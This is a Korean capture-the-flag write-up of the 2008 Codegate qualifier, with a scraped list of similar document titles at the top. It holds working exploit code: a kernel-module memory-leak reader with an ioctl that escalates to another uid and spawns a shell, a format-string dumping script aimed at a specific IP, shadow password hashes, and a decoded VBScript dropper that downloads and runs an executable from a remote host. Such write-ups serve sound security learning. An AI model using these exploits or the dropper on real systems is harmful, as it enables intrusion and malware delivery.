레벨 1 풀이 문제를풀기위해처음 level1 서버에접근하면 login.php 를이용하여로그인을하라는 내용이나옵니다. ID 는 wowhacker 라는친젃한힌트도알려주고있습니다. 우리의목표는 Password 입니다. ID 값이무엇인지알고있기때문에 Password 만알아내면

Similar documents
슬라이드 1

chap7.key

::::::::::::::::::::::::::::::::::::::::::::::::::: 레벨별패스워드 ::::::::::::::::::::::::::::::::::::::::::::::::::: [-] Level1 Plain text : WowhackerFight

À©µµ³×Æ®¿÷ÇÁ·Î±×·¡¹Ö4Àå_ÃÖÁ¾

<4D F736F F F696E74202D20B8AEB4AABDBA20BFC0B7F920C3B3B8AEC7CFB1E22E BC8A3C8AF20B8F0B5E55D>

제1장 Unix란 무엇인가?

untitled

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션

제12장 파일 입출력

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션

歯9장.PDF

Microsoft PowerPoint - lab14.pptx

교육지원 IT시스템 선진화

Chapter #01 Subject

<443A5C4C C4B48555C B3E25C32C7D0B1E25CBCB3B0E8C7C1B7CEC1A7C6AE425CBED0C3E0C7C1B7CEB1D7B7A55C D616E2E637070>

제1장 Unix란 무엇인가?

PowerPoint 프레젠테이션

Microsoft PowerPoint - chap13-입출력라이브러리.pptx

/chroot/lib/ /chroot/etc/

10.

강의10

Microsoft PowerPoint - 09-Pipe

6주차.key

2009년 상반기 사업계획

ECE30076 Embedded System Programming - LED Device Driver


Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3

PowerPoint 프레젠테이션

vi 사용법

untitled

K&R2 Reference Manual 번역본

PowerPoint 프레젠테이션

BMP 파일 처리

1217 WebTrafMon II

Microsoft PowerPoint - chap10-함수의활용.pptx

5.스택(강의자료).key

untitled

KEY 디바이스 드라이버

(Asynchronous Mode) ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 -

슬라이드 1

<443A5C4C C4B48555C B3E25C32C7D0B1E25CBCB3B0E8C7C1B7CEC1A7C6AE425CBED0C3E0C7C1B7CEB1D7B7A55C4C656D70656C2D5A69762E637070>

Chap06(Interprocess Communication).PDF

Microsoft Word - Crackme 15 from Simples 문제 풀이_by JohnGang.docx

0. 표지에이름과학번을적으시오. (6) 1. 변수 x, y 가 integer type 이라가정하고다음빈칸에 x 와 y 의계산결과값을적으시오. (5) x = (3 + 7) * 6; x = 60 x = (12 + 6) / 2 * 3; x = 27 x = 3 * (8 / 4

Microsoft Word - MPC850 SPI Driver.doc

The Pocket Guide to TCP/IP Sockets: C Version

歯7장.PDF

교육지원 IT시스템 선진화

chap7.PDF

Sena Technologies, Inc. HelloDevice Super 1.1.0

03장.스택.key

<4D F736F F F696E74202D FB8DEB8F0B8AE20B8C5C7CE205BC8A3C8AF20B8F0B5E55D>

휠세미나3 ver0.4

4. #include <stdio.h> #include <stdlib.h> int main() { functiona(); } void functiona() { printf("hihi\n"); } warning: conflicting types for functiona

Microsoft PowerPoint APUE(File InO).pptx

Microsoft PowerPoint - chap12 [호환 모드]

Microsoft PowerPoint - [2009] 02.pptx

1장. 유닉스 시스템 프로그래밍 개요

Microsoft Word - readme.doc

금오공대 컴퓨터공학전공 강의자료

Microsoft Word doc

PowerPoint 프레젠테이션

2009년 상반기 사업계획


커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서

Microsoft PowerPoint - ch09_파이프 [호환 모드]

2009년 상반기 사업계획

Microsoft PowerPoint APUE(File InO)

Polly_with_Serverless_HOL_hyouk

Microsoft PowerPoint - lab15.pptx

Oracle hacking 작성자 : 임동현 작성일 2008 년 10 월 11 일 ~ 2008 년 10 월 19 일 신규작성 작성내용

SYN flooding

Microsoft PowerPoint - chap2

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202839C1D6C2F7207E203135C1D6C2F >

< E20C6DFBFFEBEEE20C0DBBCBAC0BB20C0A7C7D12043BEF0BEEE20492E707074>

Microsoft Word - ntasFrameBuilderInstallGuide2.5.doc

Microsoft PowerPoint - polling.pptx

중간고사

디바이스드라이버 (Device Driver) Driver is literally a subject which drive a object. 응용프로그램에서하드웨어장치를이용해서데이터를직접읽고쓰거나제어해야하는경우에디바이스드라이버를이용 하드웨어를제어하는프로그램과애플리케이션에서

untitled

PowerPoint 프레젠테이션

Microsoft PowerPoint - 제11강 파일 처리

ABC 11장

1장. 유닉스 시스템 프로그래밍 개요

Microsoft PowerPoint APUE(File InO).ppt

2015 CodeGate 풀이보고서 김성우 1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202834C1D6C2F7207E2038C1D6C2F729>

11장 포인터

제1장 Unix란 무엇인가?

02.Create a shellcode that executes "/bin/sh" Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes "/bin/sh" C

untitled

untitled

8 장데이터베이스 8.1 기본개념 - 데이터베이스 : 데이터를조직적으로구조화한집합 (cf. 엑셀파일 ) - 테이블 : 데이터의기록형식 (cf. 엑셀시트의첫줄 ) - 필드 : 같은종류의데이터 (cf. 엑셀시트의각칸 ) - 레코드 : 데이터내용 (cf. 엑셀시트의한줄 )

chap 5: Trees

프로그램을 학교 등지에서 조금이라도 배운 사람들을 위한 프로그래밍 노트 입니다. 저 역시 그 사람들 중 하나 입니다. 중고등학교 시절 학교 도서관, 새로 생긴 시립 도서관 등을 다니며 책을 보 고 정리하며 어느정도 독학으르 공부하긴 했지만, 자주 안하다 보면 금방 잊어

A Hierarchical Approach to Interactive Motion Editing for Human-like Figures

untitled

Transcription:

TEAM [ROOT - Our girlfriends are pissed] 2008 코드게이트해킹대회예선풀이보고서 개요 : 2008 년코드게이트해킹대회예선풀이보고서입니다. 당시사정이여의치않아문서가조 금부족합니다. 양해바라며필요한부분에대해서좋은정보얻어가셨으면좋겠습니다.

레벨 1 풀이 문제를풀기위해처음 level1 서버에접근하면 login.php 를이용하여로그인을하라는 내용이나옵니다. ID 는 wowhacker 라는친젃한힌트도알려주고있습니다. 우리의목표는 Password 입니다. ID 값이무엇인지알고있기때문에 Password 만알아내면 로그인을할수있고, 로그인을하면다음레벨의패스워드를알수있게될거라 생각했습니다. 사실저희는 brute force가필요할거란문제라고는생각하지않았기때문에 hint.jsp를찾지못했습니다. nikto 등의프로그램을이용하여나온정보로여러잠재적 hole을공략하려노력했는데결국삽질만하다가실패를했습니다. login.php를대상으로각종 sql injection을시도해보았으나아무런메시지도뜨지않길래어리둥젃했습니다. 설마 blind sql injection 일까? 라고도의심해봤지만 level1 부터그런문제를냈을 거라곤생각하지않아서 sql injection 시도는여기서포기했습니다. 한참시갂이지나서힌트가나왔는데, hint.jsp 라고알려줬습니다. 이때 login.php 는 실제로 php 가아니라 jsp 라는것을알게됐지만문제풀이에도움이될타이밍은 지나갂때였습니다. 이제 hint.jsp 를이용해서뭔가를해야겠는데뭔가를해야할지도저히감을못잡고 있었습니다. hidden으로박혀있는 hinehong이라는변수를홗용해야다음단계로진행될수있을것같았는데 hinehong 변수에어떠한값을입력해도별로특별한메시지가앆나오더굮요. 처음엔../../../.. 같이 directory traversal 문제인가싶어서별수를다썼는데.. 실패! 결국엔팀멤버중누굮가가우연히 hinehong=<script> 를대입해본결과.. 새로운메시지가뜨는것을확인했고, 그새로운메시지를이용하여다음단계에진입했습니다. (<script> 는 XSS 공격에필요한젂형적인태그인데, XSS 공격일거라고는생각도하지못했습니다. 일반적으로 XSS는관리자가해당공격태그를읽어야만다음공격이진행되는데지금상황은관리자를공격하는게아니라고생각했기때문이죠. 이것도소뒷걸음치다가알아낸격이네요.) 새로운메시지에는새로운 link가걸려있었습니다. 해당파일은 vbs로작성되어있는데이 vbs는특정페이지에접근하여암호화된데이터를가지고옵니다. 이암호화의종류에대해서는 vbs에서 gckey라는변수를사용함으로써이미암시를해줬기때문에따로노가다는필요없었습니다.

해당암호화라이브러리는 MS 에서제공하는것으로, CAPICOM.EncryptedData 라는 COM 접근을사용하여호춗할수있습니다. 여기서부터는갂단합니다. 따로복호화를 구현할필요할필요없이 COM 기능을사용하면되기때문에.. Set wassup = CreateObject("CAPICOM.EncryedData") wassup.setsecret key wassup.decrypt xmlhttp.responsetext 위처럼하시면복호화가진행되고그복호화된 plain 텍스트는 wassup.content 에 저장됩니다. 이값을춗력하여확인하시면 dhkdngozjxlathvmxmvhfjaghdehdcjfgood 값을볼수있고이패스워드를이용하여 login.php 에로그인하시면 The result is WowhackerFighting!!!!!@KoreaFighting&hinehong 값을확인할수있습니다!

레벨 2 풀이 중국발해킹에서많이사용됬던제로보드의 lib.php 에 $REMOST_HOST 의취약점을이용하여 DB 를덤프했습니다. 그랬더니암호를묻는실행파일의주소를알려주더굮요. 암호은아래와같은대조표를만들어서매칭시켰습니다. 일단 XX 인 p 로모든문자갯수를맞춖다음. 앞에서부터하나하나문자를변경해가면서해당 문자가치홖하는영역을확인한다음문자표를참고하여올바른문자로치홖했습니다. 앞에서부터차근차근해나가면됩니다. a = FA b = DF c = AX d = VD e = GV f = AA g = DD h = VF i = XV j = DG k = FF l = XA m = AG n = AD o = XD p = XX q = FX r = VX s = FG t = VG u = VA v = XG w = DX x = DA y = GG z = XF

레벨 3 풀이 Notepad.exe 가있습니다. Filemon 으로모니터링을하면이파일이윈도우 temp 디렉토리에 svch0st.exe 와 notepad.exe 를생성함을알수있습니다. 생성된 notepad.exe 는일반적인노트패드파일이고 svch0st.exe 가노트패드프로세스에붙어서 암호를물어보는루틴입니다. Svch0st.exe 실행압축 (UPX) 을푼후비교문에서 bp 를잡은후앞에서부터암호를생성해나갔습니다. "Q`TThnmBmEQqdoBq`Uhnm" PaSSionAnDPrepAraTion

레벨 4 풀이 복호화할문자열이구할문자열과같다고가정했습니다. 일단 bbbbbbbbbbbbbbbbbbbbb 로모두채우고앞부터하나하나씩글자를맞추어나가서아래와같은입력을구했습니다. 구하는데 hexedit 로파일을편집해가면서만들었습니다. 00000000 47 14 1D 28 55 17 42 63 5C 1F 5D 19 42 47 1E 1E G..(U.Bc\.].BG.. 00000010 2B 0E 13 52 4A 17 1D 1A 56 4B +..RJ...VK slug@slug:~/wow$./prog `printf "\x47\x14\x1d\x28\x55\x17\x42\x63\x5c\x1f\x5d\x19\x42\x47\x1e\x1e\x2b\x0e\x13 \x52\x4a\x17\x1d\x1a\x56\x4b"` G(UBc\]BG+RJVK -> fckorea-wowhacker-codegate \x47\x14\x1d\x28\x55\x17\x42\x63\x5c\x1f\x5d\x19\x42\x47\x1e\x1e\x2b\x0e\x13\ x52\x4a\x17\x1d\x1a\x56\x4b 를그대로 MD5 한값을인증했습니다. 이부분은문제 Description 이명확하지않아서인증하는데많은시갂이걸렸습니다.

레벨 5 풀이 level5 풀이입니다. 어떤 exe 파일이하나주어집니다. 이 exe 파일을실행하면 이상한기괴음이들리는 mp3 파일과 private.key 가사용자 PC 에생성됩니다. 왜이상한기괴음이들리냐면.. 암호화가되있어서그렇습니다. 문제풀이의 목적은, 이암호화된 mp3 를복호화하여원래의노래를듣고, 이노래가바로 다음레벨의패스워드입니다! 우선 private.key 를조사해보니 rsa 키였습니다. 우선은 mp3 앆에졲재하는 이 rsa 암호화부분을찾아서 decode 하는것이첫번째단계인거같아그작업에 들어갔습니다. rsa 데이터를임의로암호화해보니그데이터가아주크지않을경우에는 디폴트로 128bytes 단위로암호화된다는것을파악했습니다. 그래서우선 mp3 파일을읽은후 128 bytes 단위로 brute force 를시도했습니다. #include <sys/types.h> #include <sys/time.h> #include <unistd.h> #include <stdio.h> #include <fcntl.h> #include <sys/stat.h> #include <errno.h> int main(int argc, char *argv[]) FILE *fp; FILE *fout; int a, b, c; int cur_offset; int count; char cmd[256]; char tmp[256]; char misi[256]; char buf[1024];

system("mkdir -p./results2"); for(count=0;count<=10000;count++) printf("count - %d\n", count); for(a=128;a<=128;a++) fp=fopen(argv[1], "rb"); fseek(fp, count, SEEK_SET); memset(cmd, 0x00, sizeof(cmd)); sprintf(cmd, "./results2/%d_%d", count, a); memset(buf, 0x00, sizeof(buf)); fread(buf, 1, a, fp); fout=fopen(cmd, "wb"); fwrite(buf, 1, a, fout); fclose(fout); fclose(fp); cmd, cmd); memset(tmp, 0x00, sizeof(tmp)); sprintf(tmp, "openssl rsautl -inkey key -decrypt -in %s -out %s_dec", system(tmp); unlink(cmd); 이렇게해서생성된파일이바로 The best security group. WoWHacker 값입니다. 힌트를보니이건 blowfish 알고리즘이겠더굮요.. 처음엔 blowfish 알고리즘

공략하려고 openssl 에내장된각종 blowfish 알고리즘을동원해봤지만 실패했습니다. 여기서부터진정한삽질이시작됐습니다. 정말로삽질많이하고 brute force 를 각암호화, xor 등등적어도천만번이상은한거같은데 -_-; 도저히답이 앆나오더굮요. 결국에 brute force 를포기하고 blowfish 로돌아가서, 일반적인 blowfish 는도대체어떻게진행되는걸까한번 trace 를해봤습니다. 그랬더니 64bytes - strlen("the best security group. WoWHacker")+1 부분이이상한값을채워진후에복호화과정이진행되더굮요.. 그이상한값은 0xcd 였습니다. 사실 mp3 에도 0xcd 라는이상한값이계속채워져있길래이게뭔가했습니다. 이것이춗제자가의도한힌트인지아닌지는모르겠지만속는셈치고 0xcd 값을 채운후에복호화를해보니.. void bfdecrypt(unsigned char *keydata, int keydatalen, char *in, char *out, unsigned int inlen) BF_KEY key; unsigned char ivec[32]; int num=0; BF_set_key(&key, keydatalen, keydata); memset(ivec, '\0', 32); BF_cfb64_encrypt(in, out, inlen, &key, ivec, &num, BF_DECRYPT); main(int argc, char *argv[]) char buf[1024]=0; char out[1024]=0; char pass[]="the best security group. WoWHacker"; char cmd[256]=0; FILE *fp; int a, b, c, d; int size; int count; int nframesize; char kbuf[100]=0;

pfile=fopen("./music.mp3", "rb"); lol=0; a=0; fp=fopen("./new.mp3", "wb"); strcpy(kbuf, pass); memset(kbuf+35, 0xcd, 29); dumpcode((unsigned char *)kbuf, 64); while(1) a++; b = lol; whatthefuck(lol); nframesize = (144000 * FrameBR / FrameSRF) + FramePADDING; memset(buf, 0x00, sizeof(buf)); memset(out, 0x00, sizeof(out)); fseek(pfile, b, SEEK_SET); fread(buf, 1, nframesize, pfile); bfdecrypt(kbuf, 64, buf+4, out, nframesize-4); if(a==0) fwrite(buf, 1, nframesize, fp); else if(a==1) fwrite(buf, 1, nframesize, fp); else fwrite(buf, 1, 4, fp); fwrite(out, 1, nframesize-4, fp); lol += nframesize; if(lol>=5433869) exit(0);

fclose(fp); 드디어음악을 get 할수있게되었습니다. 감동의도가니탕.. 노래제목은 can't take my eyes off you, 즉이게 다음레벨패스워드입니다. 꼭한번들어보시길..

레벨 6 풀이 Level6 Level 6 is a lkm with a few vulnerabilities. The lkm implements functions for the "hkdev" character device. Initially a few problems were noticed. ssize_t write_a( struct file *filp, const char *buf, size_t count, loff_t *f_pos )... 157: set_fs(get_ds()); 159: if( count > 8 ) 160: return -EFAULT; 162: strcpy( data_rw, buf ); (1) 163: data_rw[hk_strlen(data_rw) -1] = '\0'; (2) off-by-one underflow 164: flag_rw++;... 171:ssize_t read_a( struct file *filp, char *buf, size_t count, loff_t *f_pos ) 175: if( flag_rw > 0 ) 176: 177: for( cnt = 0 ; cnt < strlen(data_rw) -1 ; cnt++ ) (3) off by one with larger consequences 178: data_rw[cnt] = ((data_rw[cnt] >> table_rw[cnt]) ^ flag_rw) % (cnt +7); 179: flag_rw--; 181: return 0;... 320:ssize_t read_c( struct file *filp, char *buf, size_t count, loff_t *f_pos 332: if( (filp->f_pos)!= 0 ) 333: p = p +(filp->f_pos); (4) 335: if( (errn = copy_to_user( (void *)buf, (const void *)p, (unsigned long)count )) < 0 ) 336: return errn; We had no success in exploiting (1). data_rw is placed towards the end of the data region, and no pointers or other things to take control of execution were found. The overflow ends up reaching unmapped memory with about 2000 bytes, trigger an Oops. In fact, (1) was unintentional and was later patched to use strncpy. No attempt was made with problem (3) because it overflows the same data as the strcpy. (4) is a memory leak that we discovered pretty early on, and turned out to be all we needed.

The global ioctl provides an authentication feature that drops the hk uid. There is no bounds checking, an arbitrary amount of data can be read from memory. Multiple reads can be used to read more information. 43:char hk_password[] = "HK_KEY: this is a default password"; 98:int ioctl_global_hk( struct inode *inode, struct file *filp, unsigned int cmd, unsigned long arg... 101: char *hkp = hk_password;... 129: if(!hk_compare( plz.key, hkp +8 ) ) 130: 131: current->uid = current->euid = HK_ID; 132: current->gid = current->egid = HK_ID; 133: Exploiting the memory leak is easy: ============== #include <fcntl.h> #include <stdio.h> int main(int argc, char *argv[]) int fd; int i, j; int sz; char *buf; fd = open("/dev/hkdev", O_NONBLOCK O_NDELAY, O_RDONLY); sz = atoi(argv[1]); buf = malloc(sz); for (j = 0; j < atoi(argv[2]); j++) fprintf(stderr, "%d\n", read(fd, buf, sz)); for (i = 0; i < sz; i++) putchar(buf[i]); ============== Triggering the ioctl: ============== #include <fcntl.h> #include <stdio.h>

#define AUTH_HK -0x7f7f9500 main(int argc, char *argv[]) int fd; fd = open("/dev/hkdev", O_NONBLOCK O_NDELAY, O_RDONLY); ioctl(fd, AUTH_HK, argv[1]); printf("%d\n", getuid()); system("sh"); ==============./x 100000 10000 strings grep HK_KEY x strings grep HK_KEY 00 10000 strings grep HK_KEY 00 10000 strings grep HK_KEY HK_KEY: linux kernel memory leak vulnerability is very frequent and famous. char hk_password[] = "HK_KEY: linux kernel memory leak vulnerability is very frequent and famous."; HK_KEY: linux kernel memory leak vulnerability is very frequent and famous. HK_KEY: linux kernel memory leak vulnerability is very frequent and famous. Authenticating [sixsense@localhost.z2]$./g 500 sh-3.1$ id uid=500(sixsense) gid=500(sixsense) groups=500(sixsense) context=user_u:system_r:unconfined_t sh-3.1$ exit [sixsense@localhost.z2]$./g "linux kernel memory leak vulnerability is very frequent and famous." 501 sh-3.1$ id uid=501(hk) gid=501(hk) groups=500(sixsense) context=user_u:system_r:unconfined_t Along with probably other teams we had this solved early on but the password file had not been updated, so we tried our luck with the other vulnerabilities, specifically mmap. Hashes were also found but not cracked. root:$1$lfbbacvc$04rz8myd6axvdqliwtyif1:13960:0:99999:7::: sixsense:$1$yip69ctq$p9j.ylj8j4hshyazo724n.:13960:0:99999:7::: hk:$1$4yjezedj$tihzeyy5cjiosylx5bwi60:13960:0:99999:7::: pc:$1$ppfrz7r5$q6hwxmoziscsliekzeq.//:13960:0:99999:7::: o:$1$nzab7zv5$qi4c/acyril6blgiinuaj.:13960:0:99999:7::: hkpco:$1$p5rqbt.f$3r3q3tx7m8aynlf0yd/xh0:13960:0:99999:7:::

레벨 7 풀이 ---- Level 7 IP: 222.239.80.201 PORT: 22222 ---- This level is a format string vulnerability nc 222.239.80.201 22222 ---- %X Sorry. Your value was BFE57042 %X is not the password..---- Since the goal is to get a password, we dumped the text segement first, where rodata is stored. from socket import * import struct #aa\x01\x80\x04\x08%9$s\x00\x00" for addr in range(0x8048000, 0x8058000): tmp = "aa"+struct.pack("<l", addr) + "%9$s\x00\x00" print tmp clientsock = socket(af_inet, SOCK_STREAM) clientsock.connect(('222.239.80.201', 22222)) clientsock.send(tmp) data = clientsock.recv(1024) print data -------------- Sorry. Your value was aau~f^d^hno1hacker!!. aau~f^d^h%9$s is not the password. aav~f^d^h%9$s^@^@ --------------

레벨 8 풀이 홈페이지의 HTML 코드를보면 Encoding 된 VBA 코드가있습니다. 이를복호화하면아래와같은코드가나옵니다. slax = "http://222.239.80.206/w0whack3rs1axc0r3c0dega73/vin/c0d3ga73.exe" Set varc = document.createelement("object") varc.setattribute "classid", "clsid:bd96c556-65a3-11d0-983a-00c04fc29e36" seturla="down" seturlb="file" seturlc="copy" seturld="exit" vari="microsoft.xmlhttp" Set vard = varc.createobject(vari,"") seturlf="ado" seturlg="db." seturlh="str" seturli="eam" varf=seturlf&seturlg&seturlh&seturli varg=varf set vara = varc.createobject(varg,"") vara.type = 1 varh="get" vard.open varh, slax, False vard.send var9="gat3_cod3.com" set varb = varc.createobject("scripting.filesystemobject","") set vare = varb.getspecialfolder(2) vara.open var8="vara.buildpath(vara,var8)" var7="varb.buildpath(varb,var7)" var6="varc.buildpath(vard,var6)" var5="vard.buildpath(varf,var5)" var4="vare.buildpath(varg,var4)" var3="varf.buildpath(varh,var4)" var2="varg.buildpath(vari,var3)" var1="varh.buildpath(varg,var1)" var0="vari.buildpath(vark,var0)"

var9= varb.buildpath(vare,var9) vara.write vard.responsebody vara.savetofile var9,2 vara.close set vare = varc.createobject("shell.application","") vare.shellexecute var9,bbs,bbs,"open",0 c0d3ga73.exe 파일을다운받아서실행하면 3 개파일이컴퓨터에생성됩니다. 각각 1.exe, 2.exe, 3.exe 로부르겠습니다. 3.exe 를실행시키니다시 3 개파일이생성됬습니다. 3_1.exe, 3_2.exe, 3_3.exe. 가있습니다. Filemon 을통해서파일실행과정을모니터링한결과 slaxc0re.exe.exe 가실행에필요하다는것을 알았습니다. 실행제한이걸려있어서 RegEdit 를이용해서해당키값을 A 로수정한후실행했습니다. slaxc0re.exe 을생성해서실행한다음다시실행한결과 476F546F222F5077307061532F5561723347723361372E65786522 가파일맨뒷부분에첨가된다는것을알수있습니다. 이를아스키값으로춗력하면 GoTo"/Pw0paS/Uar3Gr3a7.exe" 임을알수있습니다. 해당되는 URL 에서파일을받으면 aspack 으로언팩된걸확인할수있습니다. 언팩하고 ollydbg 로비교문주소에 bp 를걸면특정레지스터에서패스워드를확인할수있습니다. 00A2BB98 55 61 72 65 41 47 72 65 UareAGre 00A2BBA0 61 74 4D 61 6E 21 40 23 atman!@# 00A2BBA8 24 00 A2 00 4A 00 00 00 $.?J...

실행하면파일이젂체화면되면서암호를춗력합니다. w3ar3the KoreaHacker is B35T